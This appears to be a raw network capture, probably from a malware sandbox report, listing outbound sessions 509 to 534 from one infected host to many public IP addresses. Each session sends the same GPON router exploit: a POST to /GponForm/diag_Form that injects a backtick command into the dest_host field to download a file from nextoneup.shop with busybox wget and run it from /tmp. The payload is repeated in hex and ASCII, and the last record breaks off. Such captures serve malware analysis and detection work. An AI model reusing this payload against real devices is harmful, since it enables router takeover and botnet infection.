509	192.168.2.13	51642	79.92.222.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769480944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	51674	42.99.211.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769510031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	59228	117.176.83.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769531965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	43358	118.194.237.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769575119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	53904	5.246.80.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769594908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	38986	37.171.175.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769614935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	47500	117.209.227.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769638062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	43062	109.82.234.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769669056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	60252	118.159.244.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769695044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	50528	2.20.163.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769714117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	54598	210.41.167.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769768953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	58062	178.97.16.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769797087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	38642	117.58.245.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769807100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	59470	5.151.123.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769831896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	47080	202.252.176.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769869089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	50442	2.70.228.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769890070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	56302	212.229.41.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769910097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	60700	202.167.243.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769929886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	48664	42.221.30.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769965887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	55336	2.198.32.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769996881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	60460	123.39.27.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770025015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	56224	94.243.46.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770065069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	45458	117.151.101.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770096064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	53288	118.149.11.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770114899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	44176	79.7.24.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770136118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	52944	37.75.149.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770169973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 